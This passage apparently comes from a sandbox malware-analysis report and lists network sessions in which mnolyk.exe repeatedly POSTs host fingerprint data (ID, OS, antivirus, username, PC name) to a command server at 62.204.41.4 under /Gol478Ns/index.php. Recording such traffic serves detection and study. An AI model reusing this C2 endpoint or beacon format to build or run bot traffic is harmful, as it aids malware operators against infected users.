408	192.168.2.5	50098	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:38.869061947 CET	608	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:38.933482885 CET	609	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
409	192.168.2.5	50099	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:39.101682901 CET	610	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:39.167921066 CET	610	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49731	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:47.855990887 CET	242	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:47.920581102 CET	242	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
410	192.168.2.5	50100	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:39.335819006 CET	611	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:39.400489092 CET	611	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
411	192.168.2.5	50101	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:39.586155891 CET	612	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:39.652388096 CET	612	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
412	192.168.2.5	50102	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:39.827580929 CET	613	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:39.894838095 CET	613	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
413	192.168.2.5	50103	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:40.079576015 CET	613	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:40.146662951 CET	614	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
414	192.168.2.5	50104	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:40.328929901 CET	615	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:40.394458055 CET	615	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
415	192.168.2.5	50105	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:40.574553013 CET	616	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:40.639194012 CET	616	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
416	192.168.2.5	50106	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:40.803738117 CET	617	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:40.869002104 CET	617	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
417	192.168.2.5	50107	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:41.040652037 CET	618	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:41.106904030 CET	618	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
418	192.168.2.5	50108	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:41.274400949 CET	619	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:41.340738058 CET	619	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
419	192.168.2.5	50109	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:41.581873894 CET	620	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:41.645371914 CET	620	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49732	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:48.097239017 CET	243	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:48.171710014 CET	243	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
420	192.168.2.5	50110	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:41.820358038 CET	621	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:41.886085033 CET	621	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
421	192.168.2.5	50111	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:42.055399895 CET	622	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:42.125121117 CET	622	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
422	192.168.2.5	50112	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:42.306782961 CET	623	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:42.372473955 CET	623	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
423	192.168.2.5	50113	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:42.545396090 CET	623	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:42.608891010 CET	624	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
424	192.168.2.5	50114	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:42.789843082 CET	624	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:42.853933096 CET	625	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
425	192.168.2.5	50115	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:43.044125080 CET	625	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:43.110388994 CET	626	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
426	192.168.2.5	50116	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:43.292412043 CET	626	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:43.357706070 CET	627	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
427	192.168.2.5	50117	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:43.523915052 CET	627	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
